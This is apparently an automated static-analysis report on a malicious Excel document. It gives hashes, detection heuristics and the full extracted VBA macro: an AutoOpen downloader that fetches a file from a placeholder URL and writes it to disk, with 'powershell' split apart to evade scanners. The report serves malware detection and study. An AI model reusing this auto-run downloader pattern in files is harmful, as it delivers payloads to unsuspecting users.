Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b9c12bf8c61760ac…

MALICIOUS

Office (OOXML)

14.1 KB Created: 2021-06-08 07:44:17 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-17
MD5: 144d4b649ec8d8878b5ad1daf9db98d6 SHA-1: d7cb3b928027dab020a3b00b0ef4c49359757317 SHA-256: b9c12bf8c61760acce04536c2383b28665fa0254bfb96f6f35050de035c3c9c8
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro in the document executes an AutoOpen subroutine which constructs the string 'powershell' and then proceeds to download a file from the URL 'https://YourWebSite.com/?your_query_parameters'. The downloaded content is saved to 'C:\Qt\wp\file.csv' and is likely intended to be executed as a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            oStream.Write WinHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://YourWebSite.com/?your_query_parameters Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1546 bytes
SHA-256: 437fa76b8c0ea9f292b642a408aa0bc7d96b3f250517a0fbfd748a3027bc65c2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoOpen()

    Dim gg As String
    Dim wp As String
    Dim ggwp As String
    Dim p1 As String
    Dim p2 As String
    Dim p3 As String
    Dim p4 As String
    gg = "powers"
    wp = "hell"
    p1 = "new:07B919"
    p2 = "A9-79D7-4FE0-8D0"
    p3 = "B-A8103A672E2A"
    p4 = p1 & p2 & p3
    ggwp = gg & wp
    MkDir "c:\Qt\wp"
    Dim myURL As String
    myURL = "https://YourWebSite.com/?your_query_parameters"
    
    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    WinHttpReq.Open "GET", myURL, False, "username", "password"
    WinHttpReq.send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile "C:\Qt\wp\file.csv", 2 ' 1 = no overwrite, 2 = overwrite
        oStream.Close
    End If
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15872 bytes
SHA-256: 1fae4f6ef4e6d021030dc5ec52467ced70c4292d81c337eca08d41538c9954ba